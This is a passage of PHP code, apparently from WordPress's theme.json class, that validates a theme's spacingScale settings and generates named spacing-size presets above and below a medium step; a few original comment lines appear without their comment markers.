|| ! isset( $spacing_scale['mediumStep'] )
|| ! isset( $spacing_scale['unit'] )
|| ! isset( $spacing_scale['operator'] )
|| ! isset( $spacing_scale['increment'] )
|| ! isset( $spacing_scale['steps'] )
|| ! is_numeric( $spacing_scale['increment'] )
|| ! is_numeric( $spacing_scale['mediumStep'] )
|| ( '+' !== $spacing_scale['operator'] && '*' !== $spacing_scale['operator'] ) ) {
if ( ! empty( $spacing_scale ) ) {
trigger_error( __( 'Some of the theme.json settings.spacing.spacingScale values are invalid' ), E_USER_NOTICE );
}
return null;
}
If theme authors want to prevent the generation of the core spacing scale they can set their theme.json spacingScale.steps to 0.
if ( 0 === $spacing_scale['steps'] ) {
return null;
}
$unit = '%' === $spacing_scale['unit'] ? '%' : sanitize_title( $spacing_scale['unit'] );
$current_step = $spacing_scale['mediumStep'];
$steps_mid_point = round( $spacing_scale['steps'] / 2, 0 );
$x_small_count = null;
$below_sizes = array();
$slug = 40;
$remainder = 0;
for ( $below_midpoint_count = $steps_mid_point - 1; $spacing_scale['steps'] > 1 && $slug > 0 && $below_midpoint_count > 0; $below_midpoint_count-- ) {
if ( '+' === $spacing_scale['operator'] ) {
$current_step -= $spacing_scale['increment'];
} elseif ( $spacing_scale['increment'] > 1 ) {
$current_step /= $spacing_scale['increment'];
} else {
$current_step *= $spacing_scale['increment'];
}
if ( $current_step <= 0 ) {
$remainder = $below_midpoint_count;
break;
}
$below_sizes[] = array(
translators: %s: Digit to indicate multiple of sizing, eg. 2X-Small.
'name' => $below_midpoint_count === $steps_mid_point - 1 ? __( 'Small' ) : sprintf( __( '%sX-Small' ), (string) $x_small_count ),
'slug' => (string) $slug,
'size' => round( $current_step, 2 ) . $unit,
);
if ( $below_midpoint_count === $steps_mid_point - 2 ) {
$x_small_count = 2;
}
if ( $below_midpoint_count < $steps_mid_point - 2 ) {
$x_small_count++;
}
$slug -= 10;
}
$below_sizes = array_reverse( $below_sizes );
$below_sizes[] = array(
'name' => __( 'Medium' ),
'slug' => '50',
'size' => $spacing_scale['mediumStep'] . $unit,
);
$current_step = $spacing_scale['mediumStep'];
$x_large_count = null;
$above_sizes = array();
$slug = 60;
$steps_above = ( $spacing_scale['steps'] - $steps_mid_point ) + $remainder;
for ( $above_midpoint_count = 0; $above_midpoint_count < $steps_above; $above_midpoint_count++ ) {
$current_step = '+' === $spacing_scale['operator']
? $current_step + $spacing_scale['increment']
: ( $spacing_scale['increment'] >= 1 ? $current_step * $spacing_scale['increment'] : $current_step / $spacing_scale['increment'] );
$above_sizes[] = array(
translators: %s: Digit to indicate multiple of sizing, eg. 2X-Large.
'name' => 0 === $above_midpoint_count ? __( 'Large' ) : sprintf( __( '%sX-Large' ), (string) $x_large_count ),
'slug' => (string) $slug,
'size' => round( $current_step, 2 ) . $unit,
);
if ( 1 === $above_midpoint_count ) {
$x_large_count = 2;
}
if ( $above_midpoint_count > 1 ) {
$x_large_count++;
}
$slug += 10;
}
$spacing_sizes = $below_sizes;
foreach ( $above_sizes as $above_sizes_item ) {
$spacing_sizes[] = $above_sizes_item;
}
If there are 7 or less steps in the scale revert to numbers for labels instead of t-shirt sizes.
if ( $spacing_scale['steps'] <= 7 ) {
for ( $spacing_sizes_count = 0; $spacing_sizes_count < count( $spacing_sizes ); $spacing_sizes_count++ ) {
$spacing_sizes[ $spacing_sizes_count ]['name'] = (string) ( $spacing_sizes_count + 1 );
}
}
_wp_array_set( $this->theme_json, array( 'settings', 'spacing', 'spacingSizes', 'default' ), $spacing_sizes );
}
}
*/